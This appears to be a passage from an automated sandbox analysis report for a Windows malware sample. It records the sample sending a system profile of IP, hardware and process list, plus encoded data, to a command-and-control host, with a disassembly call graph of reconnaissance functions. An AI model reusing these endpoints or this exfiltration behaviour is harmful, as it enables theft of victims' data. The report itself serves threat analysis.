                                          Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 31 36 35 38 39 39 30 39 36 36 38 32 36 36 36 39 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 [TRUNCATED]
                                          Data Ascii: { "ip": "8.46.123.189", "current_time": "8516589909668266690", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 336 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 580 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 760 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "fontdrvhost.exe", "pid": 792 }, { "name": "svchost.exe", "pid": 876 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 984 }, { "name": "svchost.exe", "pid": 372 }, { "name": "svchost.exe", "pid": 404 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe" [TRUNCATED]
                                          Dec 31, 2024 15:42:13.641661882 CET7416OUTData Raw: 62 33 2b 50 6e 36 5c 2f 39 6f 41 44 41 4d 42 41 41 49 52 41 78 45 41 50 77 44 68 36 4b 63 5c 2f 33 6a 2b 48 38 68 54 61 5c 2f 77 43 69 54 32 6e 6c 2b 50 38 41 77 44 5c 2f 6c 50 43 69 76 58 76 43 6e 77 51 38 65 2b 4b 74 45 30 5c 2f 78 58 39 6c 30
                                          Data Ascii: b3+Pn6\/9oADAMBAAIRAxEAPwDh6Kc\/3j+H8hTa\/wCiT2nl+P8AwD\/lPCivXvCnwQ8e+KtE0\/xX9l0\/w74O1S4uraw8VeJr9NP02+exne1vW0uwt0vvEWuxWd3FJa3kugaHqsdpco8Ny0Uiso9S0r4MeANICvrWra74yvVUFrfTo4vC3h+K4RuR9puF1XXdc06YDtbeDb9VPBjbp+ecQeJvBeQTrUMbnFPFY6hUnSq5flk
                                          Dec 31, 2024 15:42:13.641695976 CET9888OUTData Raw: 48 39 6f 30 35 5c 2f 61 46 2b 50 42 5c 2f 77 43 71 7a 66 46 44 5c 2f 77 42 54 66 58 4b 5c 2f 31 75 5c 2f 59 70 54 63 76 45 7a 78 71 58 62 67 50 68 39 5c 2f 2b 62 42 50 5c 2f 41 49 4a 5c 2f 6b 35 2b 31 37 6a 79 2b 48 6e 68 44 32 5c 2f 31 31 7a 78
                                          Data Ascii: H9o05\/aF+PB\/wCqzfFD\/wBTfXK\/1u\/YpTcvEzxqXbgPh9\/+bBP\/AIJ\/k5+17jy+HnhD2\/11zxf+YKD66\/8ADHjNRydvxqSkYFvzzX\/ROf4MEFFS7B7\/AOfwo2D3\/wA\/hQBFX9HP\/BC5iPAv7RIHbxZ8PT+ej+Kf\/ia\/nL2D3\/z+Ff0V\/wDBDB8eCv2jB83Hir4cnjPfSPFvoD6V\/Kn0ytfBPHf9lFw\
                                          Dec 31, 2024 15:42:13.641840935 CET7416OUTData Raw: 66 5c 2f 74 54 5c 2f 6a 34 5c 2f 7a 36 30 30 5c 2f 65 64 2b 64 38 66 37 72 7a 50 38 35 50 4a 2b 6c 41 65 31 5c 2f 76 66 68 5c 2f 77 41 41 67 32 2b 57 32 5c 2f 38 41 37 5a 52 52 5c 2f 77 43 66 38 39 5c 2f 53 6f 76 4c 53 50 39 79 36 66 5c 2f 71 37
                                          Data Ascii: f\/tT\/j4\/z600\/ed+d8f7rzP85PJ+lAe1\/vfh\/wAAg2+W2\/8A7ZRR\/wCf89\/SovLSP9y6f\/q7\/wBB\/hVqST76D5+48yX9xx\/nv\/SoG2eZ86Sv+6Hm\/wD1+Tj+hrT2fn+H\/BOgZJ5P8Cb\/AC\/8+3p\/P0qGTY29\/ueZKcSdPy\/yc1NtTanyyO+esf8Anj\/61M67Pk+Tzf3Ufr+H4en6VhyLz\/r5GlPr
                                          Dec 31, 2024 15:42:13.646611929 CET4944OUTData Raw: 50 45 6e 69 71 48 51 59 64 51 30 5c 2f 77 78 42 71 4e 74 6f 63 43 2b 48 76 44 32 6c 65 47 62 49 32 4d 47 72 61 6c 72 47 6f 78 2b 62 70 2b 6a 32 73 74 7a 39 6f 31 4b 36 33 33 6a 33 45 73 52 68 68 65 4f 33 69 38 7a 74 39 44 69 75 50 45 55 65 6d 72
                                          Data Ascii: PEniqHQYdQ0\/wxBqNtocC+HvD2leGbI2MGralrGox+bp+j2stz9o1K633j3EsRhheO3i8zt9DiuPEUemr41+Gh8EzfCqH47w\/HI+Jdct\/gp\/wpR9Yn8LTfEe413UfCOn+OLK1tvHdrc\/DY+Cb34dwfFa7+JcSfD7TfAF74uvdN0i+57xBLo9hH4d1Twz8RPhX8SPBvinwb8e\/Fuj\/ETwVrXj628Ipd\/s2\/C3XvjJ8U
                                          Dec 31, 2024 15:42:13.646635056 CET2472OUTData Raw: 68 66 54 72 4e 6f 67 63 6b 35 45 62 51 6c 4d 35 4a 4f 63 5a 79 53 65 39 66 7a 35 34 77 2b 41 75 58 65 4c 6d 65 63 4c 5a 39 6a 4d 39 78 32 55 34 76 68 4c 43 34 79 6a 6c 74 50 44 55 36 64 53 68 4f 76 69 73 34 79 44 4f 66 72 4e 64 53 74 56 55 36 64
                                          Data Ascii: hfTrNogck5EbQlM5JOcZySe9fz54w+AuXeLmecLZ9jM9x2U4vhLC4yjltPDU6dShOvis4yDOfrNdStVU6dTh+hhoTw9WhVjhMZmFKNRSxEalH+N\/Ab6TOaeBuQcT8O4ThnLc\/wAFxXjqeIzGWNrV6NWOFeT5hkuJwdL2cvZuniMNmNWo\/bU6qp4mjhcRTUK2HpzWD4\/\/AGs\/iL4p+Kdzr+sftK\/s46b4i134OfHPwD+z
                                          Dec 31, 2024 15:42:13.646646976 CET2472OUTData Raw: 50 77 38 38 4f 53 58 33 68 6e 77 78 59 61 7a 71 64 39 34 66 38 41 45 45 38 6e 73 4b 36 5a 70 53 70 4c 47 75 6c 36 65 73 63 35 4a 6d 52 62 4f 32 43 54 45 39 54 4b 6f 69 32 79 45 39 79 34 4a 72 6d 4a 66 68 70 38 50 35 72 30 61 70 4a 34 53 30 51 33
                                          Data Ascii: Pw88OSX3hnwxYazqd94f8AEE8nsK6ZpSpLGul6esc5JmRbO2CTE9TKoi2yE9y4JrmJfhp8P5r0apJ4S0Q3gD\/vFs1jQ+Zt3hoI9tu27aoJaI8DHTiv5gzn6HmHxfDGccJ5Xxji8Lk\/E+YYjMOJMJicDha0cwq4vMczzCrKnXhh1jcNKhUzN1MHHDYnD0liMBl08bTx2GhjcJjv7H4e+ntjcDxPlPFmd+H2Bx+ccMcOVeG+F8Z
                                          Dec 31, 2024 15:42:13.646682024 CET2472OUTData Raw: 5a 2b 4c 2b 76 2b 43 76 46 47 6d 36 67 75 68 65 44 39 5a 30 37 53 66 43 58 69 76 77 68 34 36 31 35 39 56 38 51 61 58 6f 6e 41 58 5c 2f 67 37 34 46 66 48 76 77 5c 2f 38 4b 4c 66 34 6c 66 46 5c 2f 52 66 67 64 63 66 41 6e 77 72 34 5c 2f 2b 41 2b 6f
                                          Data Ascii: Z+L+v+CvFGm6guheD9Z07SfCXivwh46159V8QaXonAX\/g74FfHvw\/8KLf4lfF\/RfgdcfAnwr4\/+A+o2Hj34c\/GPxVcfEH4Q6x8bfiH8avB3xD+BWl\/DLwp8QvDqfFaGD4o+MPC3iT4d\/FHxh8JvBv9qaP4EvdO+JF3YeIPFd\/4O+0LPwZ4UsbWOyt9A0s2sQURRXFrHeiMKCqhDeCd1ABIADDqa0ZNC0OURrLo2lSiI
                                          Dec 31, 2024 15:42:13.646701097 CET2472OUTData Raw: 5c 2f 50 5c 2f 41 50 56 5c 2f 58 36 5a 70 6a 66 4c 6e 4e 42 70 54 36 5c 2f 4c 39 52 6a 4c 75 78 32 78 55 4c 66 4c 6e 50 62 30 71 78 54 57 58 64 6a 74 69 67 30 49 61 4b 63 56 4b 38 35 37 5c 2f 41 49 30 32 67 36 42 6a 4c 6e 6b 64 61 72 65 58 37 5c
                                          Data Ascii: \/P\/APV\/X6ZpjfLnNBpT6\/L9RjLux2xULfLnPb0qxTWXdjtig0IaKcVK857\/AI02g6BjLnkdareX7\/p\/9erEnb8f6VHW3svKX9fICvUL\/eP4fyFWmXuPx\/xqF\/un8P5ij2XlL7v+AdBDRUzLux2xUNT7Pz\/D\/gnQMZd38vrURGzPA6Z4qxTJFP3\/AF\/z+FT7Lyj93\/AAp+XsH8+tMZd34VaprLuqvZ+f4f8AB
                                          Dec 31, 2024 15:42:13.691668034 CET34608OUTData Raw: 5a 6f 56 76 39 62 76 66 66 5c 2f 72 50 2b 65 66 54 32 5c 2f 50 31 48 4f 42 55 30 65 5c 2f 35 39 6a 79 66 76 49 76 4e 35 5c 2f 66 5c 2f 41 4b 66 5c 2f 41 4b 5c 2f 54 70 51 5c 2f 6e 48 37 69 66 38 73 76 4e 78 5c 2f 71 66 38 35 36 66 7a 6f 38 78 39
                                          Data Ascii: ZoVv9bvff\/rP+efT2\/P1HOBU0e\/59jyfvIvN5\/f\/AKf\/AK\/TpQ\/nH7if8svNx\/qf856fzo8x9r7E8l\/+mcvT\/D69\/rW3v\/3fxNKfX5FaPfuf5Mp5vlCTzf3+e3b0xnvRH\/Fl5N\/+tMf5f44HA9Kf8n+u2RunmmXzP+WE3+Tn+XOaY+\/c+9I38v8AdSyR\/wCf8O2ao0Bvl\/fIkkyeV+6\/qKZtjb7\/AMn
                                          Dec 31, 2024 15:42:13.743530035 CET1236OUTData Raw: 74 44 53 6e 31 2b 58 36 6c 58 7a 48 6b 6c 64 30 65 52 33 5c 2f 35 36 53 53 2b 66 37 66 35 5c 2f 7a 68 66 6b 2b 66 59 6d 7a 39 31 63 66 38 73 76 2b 58 6a 2b 6e 76 55 30 6b 6e 6d 53 44 65 2b 5c 2f 39 31 5c 2f 31 77 5c 2f 7a 6e 5c 2f 4f 4b 59 78 52
                                          Data Ascii: tDSn1+X6lXzHkld0eR3\/56SS+f7f5\/zhfk+fYmz91cf8sv+Xj+nvU0knmSDe+\/91\/1w\/zn\/OKYxRv4\/nk\/55\/z+vf\/APVQaDH\/ANZ9yPZH+6\/1XnnuRwfbj9KZ8+7yZnj2f6qW3P7j9P8A9VTeYdyRw\/O5l\/49\/wD63+fxqFv7+yR4f9V5lxLn\/P4H86z9n5\/h\/wAEBgbyw6Ifn\/5ayR\/v\/wDPNEbe
                                          Dec 31, 2024 15:42:16.709964037 CET138INHTTP/1.1 200 OK
                                          server: nginx/1.22.1
                                          date: Tue, 31 Dec 2024 14:42:16 GMT
                                          content-type: text/html; charset=utf-8
                                          content-length: 1
                                          Data Raw: 30
                                          Data Ascii: 0


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          1192.168.2.1249712176.53.146.223807132C:\Users\user\Desktop\Prs9eAnu2k.exe
                                          TimestampBytes transferredDirectionData
                                          Dec 31, 2024 15:42:17.613725901 CET98OUTGET /KhxTILlSHLygUudVWlQk1735537737?argument=0 HTTP/1.1
                                          Host: home.fiveth5vs.top
                                          Accept: */*
                                          Dec 31, 2024 15:42:18.524955988 CET353INHTTP/1.1 404 NOT FOUND
                                          server: nginx/1.22.1
                                          date: Tue, 31 Dec 2024 14:42:18 GMT
                                          content-type: text/html; charset=utf-8
                                          content-length: 207
                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                          Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          2192.168.2.1249713176.53.146.223807132C:\Users\user\Desktop\Prs9eAnu2k.exe
                                          TimestampBytes transferredDirectionData
                                          Dec 31, 2024 15:42:19.277869940 CET171OUTPOST /KhxTILlSHLygUudVWlQk1735537737 HTTP/1.1
                                          Host: home.fiveth5vs.top
                                          Accept: */*
                                          Content-Type: application/json
                                          Content-Length: 31
                                          Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d
                                          Data Ascii: { "id1": "0", "data": "Done1" }
                                          Dec 31, 2024 15:42:20.173903942 CET353INHTTP/1.1 404 NOT FOUND
                                          server: nginx/1.22.1
                                          date: Tue, 31 Dec 2024 14:42:20 GMT
                                          content-type: text/html; charset=utf-8
                                          content-length: 207
                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                          Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                          HTTPS Proxied Packets

                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          0192.168.2.124971034.197.122.1724437132C:\Users\user\Desktop\Prs9eAnu2k.exe
                                          TimestampBytes transferredDirectionData
                                          2024-12-31 14:42:11 UTC52OUTGET /ip HTTP/1.1
                                          Host: httpbin.org
                                          Accept: */*
                                          2024-12-31 14:42:11 UTC224INHTTP/1.1 200 OK
                                          Date: Tue, 31 Dec 2024 14:42:11 GMT
                                          Content-Type: application/json
                                          Content-Length: 31
                                          Connection: close
                                          Server: gunicorn/19.9.0
                                          Access-Control-Allow-Origin: *
                                          Access-Control-Allow-Credentials: true
                                          2024-12-31 14:42:11 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                          Data Ascii: { "origin": "8.46.123.189"}


                                          Statistics

                                          CPU Usage

                                          Click to jump to process

                                          Memory Usage

                                          Click to jump to process

                                          High Level Behavior Distribution

                                          Click to dive into process behavior distribution

                                          System Behavior

                                          General

                                          Target ID:1
                                          Start time:09:42:07
                                          Start date:31/12/2024
                                          Path:C:\Users\user\Desktop\Prs9eAnu2k.exe
                                          Wow64 process (32bit):true
                                          Commandline:"C:\Users\user\Desktop\Prs9eAnu2k.exe"
                                          Imagebase:0x3d0000
                                          File size:4'444'672 bytes
                                          MD5 hash:53DB8912E908083FA5076160A0DB3C31
                                          Has elevated privileges:true
                                          Has administrator privileges:true
                                          Programmed in:C, C++ or other language
                                          Reputation:low
                                          Has exited:true

                                          Disassembly

                                          Reset < >

                                            Execution Graph

                                            Execution Coverage:2.1%
                                            Dynamic/Decrypted Code Coverage:3.6%
                                            Signature Coverage:12.8%
                                            Total number of Nodes:632
                                            Total number of Limit Nodes:101
                                            execution_graph 84417 40b400 84418 40b425 84417->84418 84419 40b40b 84417->84419 84422 3d7770 84419->84422 84420 40b421 84423 3d77b6 recv 84422->84423 84424 3d7790 84422->84424 84429 3d77a3 84423->84429 84432 3d77d4 84423->84432 84424->84423 84425 3d7799 84424->84425 84427 3d77db 84425->84427 84425->84429 84434 3d72a0 localeconv localeconv 84427->84434 84433 3d72a0 localeconv localeconv 84429->84433 84430 3d77ec 84435 3dcb20 localeconv localeconv 84430->84435 84432->84420 84433->84432 84434->84430 84435->84432 84436 40e400 84437 40e412 84436->84437 84441 40e459 84436->84441 84438 40e422 84437->84438 84460 423030 localeconv localeconv 84437->84460 84461 4309d0 localeconv localeconv 84438->84461 84443 40e4a8 84441->84443 84446 40e495 84441->84446 84448 40b5a0 84441->84448 84442 40e42b 84462 4068b0 7 API calls 84442->84462 84446->84443 84447 40b5a0 2 API calls 84446->84447 84447->84443 84449 40b5d2 84448->84449 84450 40b5c0 84448->84450 84449->84446 84450->84449 84451 40b713 84450->84451 84456 40b626 84450->84456 84464 414f40 localeconv localeconv 84451->84464 84453 40b65a 84453->84449 84454 40b72b 84453->84454 84455 40b737 84453->84455 84454->84449 84465 4150a0 localeconv localeconv 84454->84465 84455->84449 84466 4150a0 localeconv localeconv 84455->84466 84456->84449 84456->84453 84456->84454 84456->84455 84463 4150a0 localeconv localeconv 84456->84463 84460->84438 84461->84442 84462->84441 84463->84456 84464->84449 84465->84449 84466->84449 84467 40f100 84469 40f11f 84467->84469 84493 40f1b8 84467->84493 84468 40ff1a 84517 410c80 localeconv localeconv 84468->84517 84471 40f2a3 84469->84471 84485 40f240 84469->84485 84489 40f603 84469->84489 84469->84493 84502 414f40 localeconv localeconv 84471->84502 84473 410045 84476 41010d 84473->84476 84479 41004d 84473->84479 84473->84493 84520 4150a0 localeconv localeconv 84473->84520 84474 40f80d 84478 41015e 84476->84478 84521 4150a0 localeconv localeconv 84476->84521 84477 41008a 84519 414f40 localeconv localeconv 84477->84519 84478->84479 84522 4150a0 localeconv localeconv 84478->84522 84523 414f40 localeconv localeconv 84479->84523 84485->84493 84503 3d7310 84485->84503 84487 40f491 84487->84489 84492 3d7310 2 API calls 84487->84492 84489->84468 84489->84473 84489->84474 84489->84477 84494 410d30 localeconv localeconv 84489->84494 84499 4150a0 localeconv localeconv 84489->84499 84515 3dfa50 localeconv localeconv 84489->84515 84516 414fd0 localeconv localeconv 84489->84516 84490 40ff5b 84490->84493 84518 4150a0 localeconv localeconv 84490->84518 84500 40f50d 84492->84500 84494->84489 84495 40f3ce 84495->84487 84495->84493 84512 4150a0 localeconv localeconv 84495->84512 84497 40f5b9 84514 3dfa50 localeconv localeconv 84497->84514 84499->84489 84500->84493 84500->84497 84513 4150a0 localeconv localeconv 84500->84513 84502->84493 84504 3d7320 84503->84504 84508 3d7332 84503->84508 84505 3d7390 84504->84505 84504->84508 84525 3d72a0 localeconv localeconv 84505->84525 84507 3d73a1 84526 3dcb20 localeconv localeconv 84507->84526 84511 3d7380 84508->84511 84524 3d72a0 localeconv localeconv 84508->84524 84511->84495 84512->84487 84513->84497 84514->84489 84515->84489 84516->84489 84517->84490 84518->84493 84519->84493 84520->84476 84521->84478 84522->84479 84523->84493 84524->84511 84525->84507 84526->84511 84527 40b3c0 84528 40b3cb 84527->84528 84529 40b3ee 84527->84529 84533 409290 84528->84533 84547 3d76a0 84528->84547 84530 40b3ea 84534 3d76a0 3 API calls 84533->84534 84535 4092e5 84534->84535 84536 4093c3 84535->84536 84538 4092f3 84535->84538 84537 409392 84536->84537 84558 3ed090 localeconv localeconv 84536->84558 84545 4093be 84537->84545 84560 4150a0 localeconv localeconv 84537->84560 84538->84537 84541 409335 WSAIoctl 84538->84541 84540 4093f7 84559 414f40 localeconv localeconv 84540->84559 84541->84537 84544 409366 84541->84544 84544->84537 84546 409371 setsockopt 84544->84546 84545->84530 84546->84537 84548 3d76e6 send 84547->84548 84549 3d76c0 84547->84549 84550 3d76d3 84548->84550 84557 3d7704 84548->84557 84549->84548 84551 3d76c9 84549->84551 84561 3d72a0 localeconv localeconv 84550->84561 84551->84550 84553 3d770b 84551->84553 84562 3d72a0 localeconv localeconv 84553->84562 84555 3d771c 84563 3dcb20 localeconv localeconv 84555->84563 84557->84530 84558->84540 84559->84537 84560->84545 84561->84557 84562->84555 84563->84557 84914 3d255d 84934 759f70 84914->84934 84916 3d256c GetSystemInfo 84917 3d2589 84916->84917 84918 3d25a0 GlobalMemoryStatusEx 84917->84918 84919 3d25ec 84918->84919 84936 6db03c1 GetLogicalDrives 84919->84936 84940 6db03e0 84919->84940 84944 6db0382 84919->84944 84948 6db038a 84919->84948 84952 6db0401 84919->84952 84935 759f7d 84934->84935 84935->84916 84935->84935 84937 6db03ba 84936->84937 84938 6db0421 84937->84938 84939 6db03d1 GetLogicalDrives 84937->84939 84939->84937 84941 6db0421 84940->84941 84942 6db03ba 84940->84942 84942->84941 84943 6db03d1 GetLogicalDrives 84942->84943 84943->84942 84946 6db0395 84944->84946 84945 6db03d1 GetLogicalDrives 84945->84946 84946->84945 84947 6db0421 84946->84947 84949 6db0395 84948->84949 84950 6db03d1 GetLogicalDrives 84949->84950 84951 6db0421 84949->84951 84950->84949 84953 6db03ba 84952->84953 84954 6db0421 84953->84954 84955 6db03d1 GetLogicalDrives 84953->84955 84955->84953 84564 410700 84574 410719 84564->84574 84579 41099d 84564->84579 84566 3d7310 2 API calls 84566->84574 84568 4109f6 84589 3d75a0 84568->84589 84569 4109b5 84569->84579 84588 4150a0 localeconv localeconv 84569->84588 84571 410a35 84593 414f40 localeconv localeconv 84571->84593 84574->84566 84574->84568 84574->84569 84574->84571 84574->84579 84582 40b8e0 localeconv localeconv 84574->84582 84583 43f570 localeconv localeconv 84574->84583 84584 3feb30 localeconv localeconv 84574->84584 84585 4313a0 localeconv localeconv 84574->84585 84586 4539a0 localeconv localeconv 84574->84586 84587 3feae0 localeconv localeconv 84574->84587 84580 3d75a0 2 API calls 84580->84579 84582->84574 84583->84574 84584->84574 84585->84574 84586->84574 84587->84574 84588->84579 84590 3d75aa 84589->84590 84591 3d75d1 84589->84591 84590->84591 84594 3d72a0 localeconv localeconv 84590->84594 84591->84580 84593->84579 84594->84591 84595 3d29ff FindFirstFileA 84596 3d2a31 84595->84596 84597 3d2a5c RegOpenKeyExA 84596->84597 84598 3d2a93 84597->84598 84599 3d2ade CharUpperA 84598->84599 84601 3d2b0a 84599->84601 84600 3d2bf9 QueryFullProcessImageNameA 84602 3d2c3b CloseHandle 84600->84602 84601->84600 84604 3d2c64 84602->84604 84603 3d2df1 CloseHandle 84605 3d2e23 84603->84605 84604->84603 84956 6de06bc 84957 6de06c6 Process32FirstW 84956->84957 84959 6de06f4 84957->84959 84960 3d3d5e 84965 3d3d30 84960->84965 84961 3d3d90 84969 3dfcb0 8 API calls 84961->84969 84964 3d3dc1 84965->84960 84965->84961 84966 3e0ab0 84965->84966 84970 3e05b0 84966->84970 84969->84964 84971 3e07c7 84970->84971 84979 3e05bd 84970->84979 84971->84965 84972 3e066a 84989 40dec0 84972->84989 84976 3e067b 84983 3e06f0 84976->84983 84985 3e07ce 84976->84985 84996 3e73b0 localeconv localeconv 84976->84996 84979->84971 84979->84972 84979->84985 84994 3e03c0 localeconv localeconv 84979->84994 84995 3e7450 localeconv localeconv 84979->84995 84980 3e0707 WSAEventSelect 84980->84983 84980->84985 84981 3e07ef 84981->84985 84986 3e0847 84981->84986 84998 3e6fa0 84981->84998 84983->84980 84983->84981 84984 3d76a0 3 API calls 84983->84984 84984->84983 84997 3e7380 localeconv localeconv 84985->84997 84986->84985 84987 3e09e8 WSAEnumNetworkEvents 84986->84987 84988 3e09d0 WSAEventSelect 84986->84988 84987->84986 84987->84988 84988->84986 84988->84987 84990 40df1e 84989->84990 84991 40dece 84989->84991 85002 40df30 84991->85002 84993 40def9 84993->84976 84994->84979 84995->84979 84996->84976 84997->84971 84999 3e6fd4 84998->84999 85001 3e6feb 84998->85001 85000 3e7207 select 84999->85000 84999->85001 85000->85001 85001->84986 85003 40df44 85002->85003 85005 40dfb9 85003->85005 85007 40dfb5 85003->85007 85008 3e7450 localeconv localeconv 85003->85008 85009 3e7380 localeconv localeconv 85005->85009 85007->84993 85008->85003 85009->85007 84606 3e1139 84631 40baa0 84606->84631 84608 3e1148 84609 3e1512 84608->84609 84614 3e1161 84608->84614 84617 3e1527 84609->84617 84637 3dfec0 8 API calls 84609->84637 84610 3e0f69 84612 3e1f58 84610->84612 84613 3e1fb0 84610->84613 84615 3e0f00 84610->84615 84639 3e0150 localeconv localeconv 84612->84639 84613->84615 84641 3e4940 localeconv localeconv 84613->84641 84614->84610 84636 3e0150 localeconv localeconv 84614->84636 84628 3e0f21 84615->84628 84635 3e0150 localeconv localeconv 84615->84635 84617->84610 84638 3e22d0 8 API calls 84617->84638 84621 3e1fa6 84621->84615 84623 3e208a 84621->84623 84625 3d75a0 2 API calls 84621->84625 84621->84628 84642 3e3900 localeconv localeconv 84623->84642 84624 3e1f61 84624->84621 84640 40d4d0 7 API calls 84624->84640 84627 3e2057 84625->84627 84630 3d75a0 2 API calls 84627->84630 84630->84623 84632 40bb60 84631->84632 84634 40bac7 84631->84634 84632->84608 84634->84632 84643 3f05b0 localeconv localeconv 84634->84643 84635->84628 84636->84610 84637->84617 84638->84610 84639->84624 84640->84621 84641->84621 84642->84615 84643->84632 84644 483c00 84645 483c23 84644->84645 84647 483c0d 84644->84647 84645->84647 84648 49b180 84645->84648 84651 49b19b 84648->84651 84655 49b2e3 84648->84655 84652 49b2a9 getsockname 84651->84652 84654 49b020 closesocket 84651->84654 84651->84655 84656 49af30 84651->84656 84660 49b060 84651->84660 84665 49b020 84652->84665 84654->84651 84655->84647 84657 49af4c 84656->84657 84658 49af63 socket 84656->84658 84657->84658 84659 49af52 84657->84659 84658->84651 84659->84651 84664 49b080 84660->84664 84661 49b0b0 connect 84662 49b0bf WSAGetLastError 84661->84662 84663 49b0ea 84662->84663 84662->84664 84663->84651 84664->84661 84664->84662 84664->84663 84666 49b029 84665->84666 84667 49b052 84665->84667 84668 49b04b closesocket 84666->84668 84669 49b03e 84666->84669 84667->84651 84668->84667 84669->84651 85010 484720 85014 484728 85010->85014 85011 484733 85013 484774 85014->85011 85021 48476c 85014->85021 85022 485540 7 API calls 85014->85022 85016 48482e 85016->85021 85023 489270 85016->85023 85018 484860 85028 484950 85018->85028 85020 484878 85021->85020 85036 4830a0 7 API calls 85021->85036 85022->85016 85037 48a440 85023->85037 85025 489297 85027 4892ab 85025->85027 85073 48bbe0 7 API calls 85025->85073 85027->85018 85029 484966 85028->85029 85033 4849c5 85029->85033 85035 4849b9 85029->85035 85075 48b590 if_indextoname 85029->85075 85031 484aa0 gethostname 85031->85033 85031->85035 85032 484a3e 85032->85033 85076 48bbe0 7 API calls 85032->85076 85033->85021 85035->85031 85035->85033 85036->85013 85070 48a46b 85037->85070 85038 48a4db 85039 48aa03 RegOpenKeyExA 85038->85039 85052 48ad14 85038->85052 85040 48ab70 RegOpenKeyExA 85039->85040 85041 48aa27 RegQueryValueExA 85039->85041 85044 48ac34 RegOpenKeyExA 85040->85044 85062 48ab90 85040->85062 85042 48aacc RegQueryValueExA 85041->85042 85043 48aa71 85041->85043 85045 48ab0e 85042->85045 85046 48ab66 RegCloseKey 85042->85046 85043->85042 85050 48aa85 RegQueryValueExA 85043->85050 85047 48acf8 RegOpenKeyExA 85044->85047 85064 48ac54 85044->85064 85045->85046 85051 48ab1e RegQueryValueExA 85045->85051 85046->85040 85048 48ad56 RegEnumKeyExA 85047->85048 85047->85052 85049 48ad9b 85048->85049 85048->85052 85053 48ae16 RegOpenKeyExA 85049->85053 85054 48aab3 85050->85054 85057 48ab4c 85051->85057 85052->85025 85055 48addf 